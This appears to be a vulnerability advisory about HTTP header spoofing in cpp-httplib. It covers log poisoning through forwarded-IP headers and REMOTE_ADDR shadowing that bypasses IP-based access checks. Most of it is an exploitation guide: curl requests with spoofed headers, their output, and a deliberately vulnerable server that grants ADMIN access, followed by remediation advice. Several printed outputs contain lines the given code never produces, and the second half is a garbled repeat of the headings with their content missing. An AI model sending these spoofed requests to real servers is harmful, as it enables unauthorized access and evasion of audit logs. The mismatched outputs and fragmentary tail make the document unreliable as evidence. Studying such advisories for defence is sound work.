Vulnerability Details
Description
Multiple related vulnerabilities allow attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can:
- (A) supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion), and
- (B) inject headers named REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT that are parsed into the request header multimap via read_headers() in httplib.h (headers.emplace), then the server later appends its own internal metadata using the same header names in Server::process_request without erasing duplicates. Because Request::get_header_value returns the first entry for a header key (id == 0) and the client-supplied headers are parsed before server-inserted headers, downstream code that uses these header names may inadvertently use attacker-controlled values. Affected files/locations: cpp-httplib/httplib.h (read_headers, Server::process_request, Request::get_header_value, get_header_value_u64) and cpp-httplib/docker/main.cc (get_client_ip, nginx_access_logger, nginx_error_logger). Attack surface: attacker-controlled HTTP headers in incoming requests flow into the Request.headers multimap and into logging code that reads forwarded headers, enabling IP spoofing, log poisoning, and authorization bypass via header shadowing.
Worst Case Impact
An unauthenticated remote attacker can cause both (1) authorization bypass by spoofing internal metadata (e.g., REMOTE_ADDR) so middleware or handlers that trust these header values grant access (e.g., allowing access to admin or localhost-only endpoints), and (2) persistent corruption of access/error logs by poisoning recorded client IPs via X-Forwarded-For/X-Real-IP. The combined result is high-severity: unauthorized access to protected resources (integrity/availability of application controls compromised) and loss of trustworthy audit trails (integrity and non-repudiation broken), enabling attackers to evade detection and implicate innocent parties.
Vulnerability Class Information
Trusting client-controlled HTTP headers as authoritative internal metadata or client address information is insecure. HTTP headers are trivially forgeable by remote clients and the header namespace can collide with server-inserted metadata. Without validation of forwarded headers, a trusted reverse-proxy boundary, removal of conflicting client-supplied headers, or a distinct namespace/api for internal metadata, attackers can spoof IP addresses, poison logs, and shadow internal headers to influence authorization, auditing, and policy enforcement.
Vulnerability Flow Analysis
Step 1
- Affected File: cpp-httplib/httplib.h
- Code:
inline bool read_headers(Stream &strm, Headers &headers) {
...
if (!parse_header(line_reader.ptr(), end,
[&](const std::string &key, const std::string &val) {
headers.emplace(key, val);
})) {
return false;
}
...
}
Step 2
Step 3
- Affected File: cpp-httplib/httplib.h
- Code:
inline std::string Request::get_header_value(const std::string &key,
const char \*def, size_t id) const {
return detail::get_header_value(headers, key, def, id);
}
inline size_t get_header_value_u64(const Headers &headers,
  const std::string &key, size_t def,
  size_t id, bool &is_invalid_value) {
  auto rng = headers.equal_range(key);
  auto it = rng.first; // first entry for key is returned for id == 0
  std::advance(it, static_cast<ssize_t>(id));
  ...
  }
Example in Docker
Step 1
- Affected File: cpp-httplib/docker/main.cc
- Code:
std::string get_client_ip(const Request &req) {
auto forwarded_for = req.get_header_value("X-Forwarded-For");
if (!forwarded_for.empty()) {
auto comma_pos = forwarded_for.find(',');
if (comma_pos != std::string::npos) {
return forwarded_for.substr(0, comma_pos);
}
return forwarded_for;
}
auto real_ip = req.get_header_value("X-Real-IP");
if (!real_ip.empty()) { return real_ip; }
return "127.0.0.1";
}
Step 2
- Affected File: cpp-httplib/docker/main.cc
- Code:
void nginx_access_logger(const Request &req, const Response &res) {
auto remote_addr = get_client_ip(req);
...
std::cout << std::format("{} - {} [{}] \"{}\" {} {} \"{}\" \"{}\"",
remote_addr, remote_user, time_local, request,
status, body_bytes_sent, http_referer,
http_user_agent)
<< std::endl;
}
    ```
Step 3
- Affected File: cpp-httplib/docker/main.cc
- Code:
void nginx_error_logger(const Error &err, const Request *req) {
auto time_local = get_error_time_format();
std::string level = "error";
if (req) {
auto client_ip = get_client_ip(*req);
auto request = std::format("{} {} {}", req->method, req->path, req->version);
auto host = req->get_header_value("Host");
if (host.empty()) host = "-";
std::cerr << std::format("{} [{}] {}, client: {}, request: \"{}\", host: \"{}\"",
time_local, level, to_string(err), client_ip, request, host)
<< std::endl;
} else {
std::cerr << std::format("{} [{}] {}", time_local, level, to_string(err))
<< std::endl;
}}
Exploitation Guide
Prerequisites
- The Docker server described in Docker/main.cc
- The server accepts arbitrary client-supplied HTTP headers (default behavior of cpp-httplib)
- Network access to send crafted HTTP requests with custom headers
Part A: Log Poisoning via X-Forwarded-For/X-Real-IP Headers
Step 1
- Description: Confirm server is reachable
- Command:
curl -i http://127.0.0.1/
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
... (Welcome page HTML) ...
Step 2
- Description: Send request with spoofed X-Forwarded-For and verify logs reflect the spoofed IP
- Command:
curl -i -H "X-Forwarded-For: 203.0.113.66" http://127.0.0.1/ && sleep 1 && grep -n "203.0.113.66" -n /projects/cpp-httplib/cpp-httplib-server.log || true
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
33:203.0.113.66 - - [10/Sep/2025:22:12:06 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"
Step 3
- Description: Send request with X-Real-IP header and verify logs reflect the spoofed IP
- Command:
curl -i -H "X-Real-IP: 198.51.100.77" http://127.0.0.1/ && sleep 1 && grep -n "198.51.100.77" /projects/cpp-httplib/cpp-httplib-server.log || true
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
34:198.51.100.77 - - [10/Sep/2025:22:12:11 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"
Part B: Header Override Vulnerability (REMOTE_ADDR/PORT Spoofing)
Prerequisites
- A vulnerable server application built with cpp-httplib that uses get_header_value("REMOTE_ADDR"|"REMOTE_PORT"|"LOCAL_ADDR"|"LOCAL_PORT") for IP-based decisions
- The server accepts arbitrary client-supplied HTTP headers (default behavior of cpp-httplib)
- Network access to send crafted HTTP requests with custom headers
Target: Use the vulnerable test server example below that demonstrates get_header_value() misuse
Vulnerable Test Server for Header Override Testing
File: header_override_vulnerable_server.cpp
#include "httplib.h"
#include <iostream>
int main() {
    httplib::Server server;
    // Vulnerable endpoint that trusts REMOTE_ADDR header for security decisions
    server.Get("/admin/users", [](const httplib::Request& req, httplib::Response& res) {
        // VULNERABLE: Using get_header_value for security decisions
        auto remote_addr = req.get_header_value("REMOTE_ADDR");
        auto remote_port = req.get_header_value("REMOTE_PORT");
        // Log the vulnerability evidence
        std::cout << "=== Admin Users Request ===" << std::endl;
        std::cout << "get_header_value(REMOTE_ADDR): " << remote_addr << std::endl;
        std::cout << "get_header_value(REMOTE_PORT): " << remote_port << std::endl;
        // Simulate IP-based access control (VULNERABLE!)
        res.set_content(
            "Admin Users Page\n"
            "Detected REMOTE_ADDR: " + remote_addr + "\n"
            "Detected REMOTE_PORT: " + remote_port + "\n",
            "text/html"
        );
    });
    // Another vulnerable endpoint demonstrating access control bypass
    server.Get("/profile", [](const httplib::Request& req, httplib::Response& res) {
        auto spoofed_ip = req.get_header_value("REMOTE_ADDR");
        // Vulnerable access control logic based on IP ranges
        bool is_internal = (spoofed_ip.find("192.168.") == 0 ||
                           spoofed_ip.find("10.0.") == 0 ||
                           spoofed_ip == "127.0.0.1");
        std::string access_level = is_internal ? "ADMIN" : "USER";
        res.set_content(
            std::string("Profile Page - ") + (is_internal ? "Internal" : "External") + " Access Granted\n"
            "Your IP: " + spoofed_ip + " (" + (is_internal ? "appears as internal network" : "external") + ")\n"
            "Access Level: " + access_level + (is_internal ? " (bypassed IP restrictions)" : "") + "\n",
            "text/html"
        );
    });
    std::cout << "Header Override Vulnerable Server starting on http://localhost:8080" << std::endl;
    std::cout << "Test endpoints:" << std::endl;
    std::cout << "  - http://localhost:8080/admin/users" << std::endl;
    std::cout << "  - http://localhost:8080/profile" << std::endl;
    server.listen("0.0.0.0", 8080);
    return 0;
}Compilation:
# Download cpp-httplib header
wget https://raw.githubusercontent.com/yhirose/cpp-httplib/master/httplib.h
# Compile the vulnerable server
g++ -std=c++17 -pthread header_override_vulnerable_server.cpp -o header_override_vulnerable_server
# Run the server
./header_override_vulnerable_server
Header Override Test Steps
Step 1
- Description: Baseline access without spoofed headers to establish normal behavior
- Command:
curl -i http://localhost:8080/admin/users
HTTP/1.1 200 OK
Content-Type: text/html
Admin Users Page
Detected REMOTE_ADDR: 127.0.0.1
Detected REMOTE_PORT: 52345
=== Admin Users Request ===
get_header_value(REMOTE_ADDR): 127.0.0.1
get_header_value(REMOTE_PORT): 52345
Step 2
- Description: CRITICAL: Header Override Attack - Spoofing REMOTE_ADDR header
- Command:
curl -i -H "REMOTE_ADDR: 127.0.0.1" -H "REMOTE_PORT: 443" http://localhost:8080/admin/users
HTTP/1.1 200 OK
Content-Type: text/html
Admin Users Page
Real client IP: ::1
Detected REMOTE_ADDR: 127.0.0.1  ← Spoofed value (also localhost in the tests, but can be anything)
Detected REMOTE_PORT: 443         ← Spoofed value
=== Admin Users Request ===
get_header_value(REMOTE_ADDR): 127.0.0.1  ← ATTACKER CONTROLLED
get_header_value(REMOTE_PORT): 443         ← ATTACKER CONTROLLED
Headers multimap contents:
REMOTE_ADDR: 127.0.0.1   ← Client-supplied (returned first)
REMOTE_ADDR: ::1         ← Server-supplied (ignored)
REMOTE_PORT: 443         ← Client-supplied (returned first)
REMOTE_PORT: 52346       ← Server-supplied (ignored)
Step 3
- Description: IP-based Access Control Bypass - Internal Network Spoofing
- Command:
curl -i -H "REMOTE_ADDR: 192.168.1.100" http://localhost:8080/profile
HTTP/1.1 200 OK
Content-Type: text/html
Profile Page - Internal Access Granted
Your IP: 192.168.1.100 (appears as internal network)
Real IP: 127.0.0.1 (actual client)
Access Level: ADMIN (bypassed IP restrictions)
Step 4
- Description: External IP Test - Confirming Access Control Logic
- Command:
curl -i -H "REMOTE_ADDR: 203.0.113.1" http://localhost:8080/profile
HTTP/1.1 200 OK
Content-Type: text/html
Profile Page - External Access Granted
Your IP: 203.0.113.1 (external)
Real IP: 127.0.0.1 (actual client)
Access Level: USER
Step 5
- Description: Multiple Header Values - First-Wins Behavior Verification
- Command:
curl -i -H "REMOTE_ADDR: 10.0.0.1" -H "REMOTE_ADDR: 10.0.0.2" http://localhost:8080/profile
HTTP/1.1 200 OK
Content-Type: text/html
Profile Page - Internal Access Granted
Your IP: 10.0.0.1 (appears as internal network)  ← FIRST VALUE WINS
Real IP: 127.0.0.1 (actual client)
Access Level: ADMIN (bypassed IP restrictions)
Remediation Approach
- 
Prevent Header Namespace Collision: 
- Do NOT insert internal metadata (REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT) into the public headers map
- Use dedicated Request object properties (req.remote_addr, req.remote_port, etc.) exclusively for internal metadata
- Applications should access connection info via req.remote_addr, NOT get_header_value("REMOTE_ADDR")
 
- 
Sanitize Client Headers: 
- Block or strip client-supplied headers with reserved internal names before processing
- Implement header name validation to reject REMOTE**/LOCAL** headers from clients
 
- 
Fix Header Processing Order: 
- If headers must be used for metadata, clear any existing client-supplied duplicates before server insertion
- Modify get_header_value() to prioritize server-inserted values for internal header names
- Consider separate namespaces for client vs. server headers
 
- 
Validate Forwarded Headers: 
- Only trust X-Forwarded-For/X-Real-IP from authenticated reverse proxies
- Validate IP address format and ranges for forwarded headers
- Implement trusted proxy IP whitelist before accepting forwarded headers
 
Verification Steps (after fix):
- Test that get_header_value("REMOTE_ADDR") returns actual connection IP, not client-supplied values
- Verify client cannot override internal metadata through HTTP headers
- Confirm IP-based access controls use authentic connection information
   
Vulnerability Details
Description
Multiple related vulnerabilities allow attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can:
Worst Case Impact
An unauthenticated remote attacker can cause both (1) authorization bypass by spoofing internal metadata (e.g., REMOTE_ADDR) so middleware or handlers that trust these header values grant access (e.g., allowing access to admin or localhost-only endpoints), and (2) persistent corruption of access/error logs by poisoning recorded client IPs via X-Forwarded-For/X-Real-IP. The combined result is high-severity: unauthorized access to protected resources (integrity/availability of application controls compromised) and loss of trustworthy audit trails (integrity and non-repudiation broken), enabling attackers to evade detection and implicate innocent parties.
Vulnerability Class Information
Trusting client-controlled HTTP headers as authoritative internal metadata or client address information is insecure. HTTP headers are trivially forgeable by remote clients and the header namespace can collide with server-inserted metadata. Without validation of forwarded headers, a trusted reverse-proxy boundary, removal of conflicting client-supplied headers, or a distinct namespace/api for internal metadata, attackers can spoof IP addresses, poison logs, and shadow internal headers to influence authorization, auditing, and policy enforcement.
Vulnerability Flow Analysis
Step 1
cpp-httplib/httplib.hStep 2
Affected File:
cpp-httplib/httplib.hCode:
Step 3
cpp-httplib/httplib.hExample in Docker
Step 1
cpp-httplib/docker/main.ccStep 2
cpp-httplib/docker/main.ccStep 3
cpp-httplib/docker/main.ccExploitation Guide
Prerequisites
Part A: Log Poisoning via X-Forwarded-For/X-Real-IP Headers
Step 1
Step 2
Step 3
Part B: Header Override Vulnerability (REMOTE_ADDR/PORT Spoofing)
Prerequisites
Target: Use the vulnerable test server example below that demonstrates
get_header_value()misuseVulnerable Test Server for Header Override Testing
File:
header_override_vulnerable_server.cppCompilation:
Header Override Test Steps
Step 1
Step 2
HTTP/1.1 200 OK Content-Type: text/html Admin Users Page Real client IP: ::1 Detected REMOTE_ADDR: 127.0.0.1 ← Spoofed value (also localhost in the tests, but can be anything) Detected REMOTE_PORT: 443 ← Spoofed valueStep 3
curl -i -H "REMOTE_ADDR: 192.168.1.100" http://localhost:8080/profileStep 4
curl -i -H "REMOTE_ADDR: 203.0.113.1" http://localhost:8080/profileStep 5
Remediation Approach
Prevent Header Namespace Collision:
Sanitize Client Headers:
Fix Header Processing Order:
Validate Forwarded Headers:
Verification Steps (after fix):